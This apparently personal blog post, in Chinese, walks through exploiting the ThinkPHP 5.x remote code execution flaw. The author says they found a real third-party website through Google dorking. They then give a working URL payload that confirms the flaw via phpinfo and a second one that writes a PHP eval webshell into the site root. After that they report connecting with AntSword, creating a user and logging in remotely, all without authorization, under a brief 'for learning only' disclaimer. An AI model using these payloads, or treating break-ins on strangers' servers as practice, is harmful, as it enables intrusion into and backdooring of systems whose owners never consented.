漏洞復現 | Thinkphp5.x遠程程式碼執行漏洞了解一哈

  • 2019 年 10 月 7 日
  • 筆記

0、序

晚上閑來無事,複習不想複習,看書看不進去,打開電腦也不知道要幹啥,索性就找個漏洞玩吧,下午正好註冊了一個在線靶場環境,其中有個Think PHP5.0吸引了我,因為在12月9號這個漏洞爆出來的時候當時一度嘗試復現這個漏洞都沒有成功,最後就不了了之,so 那就打開看看吧。

說實話,這個介面是真的好看,而且流暢度也很不錯,比某亞的要好的太多,儘管如此,做著做著也就沒啥意思了,那為什麼不去網上找找呢,權當練練手,而且之前一直沒有成功,那就讓我們先找到存在漏洞的目標。

1、Google Hacking

利用Google Hacking很輕鬆便可以找到一些使用ThinkPHP框架的網站,但並不是每個都存在這個遠程命令執行的漏洞,在找尋驗證了一番後終於找到了一個,哈哈。

2、POC驗證

對目標執行下面POC如果出現phpinfo頁面便可以說明存在漏洞了,不過還需要根據目標情況來判斷使用哪個POC,反正多嘗試幾個,下面的POC是我嘗試成功的一個。

/index.php/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3、寫入木馬

確定存在漏洞後便可以對其寫入一句話啦,下面的POC可以在目標系統網站根目錄下寫入內容為<?php eval($_POST[test]);?>的test.php文件,接著就可以直接用蟻劍連接了,嘗試了好幾個一句話,這個是成功的一個。

/index.php/?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=<?php eval($_POST[test]);?>

4、對目標進行添加管理員帳號

連上虛擬終端後,便可以對其新建管理員用戶了,不過感覺蟻劍是真的慢,好在能連上,試了一下菜刀,連都連不上。下面添加了一個ADMlN用戶,不過貌似提升為管理員用戶的命令沒有成功被執行。

5、遠程登陸

利用自己創建的用戶名對其遠程登陸,就像下面這樣:

OK,連接成功

6、總結:

整體過程中碰到最大的問題就是蟻劍有點不給力,總覺著有時它會掉線,這次滲透測試也是給自己練練手,也可以說是碰巧找到一個比較弱的系統,然後才比較順利,最後也是提醒各位網站管理員,一定要檢查一下自己的網站是不是存在含有漏洞的組件。


嚴禁將本文內容用於犯罪目的,本文僅用作學習目的,另外由於本人水平有限,文中出現問題在所難免,還請各位看官見諒。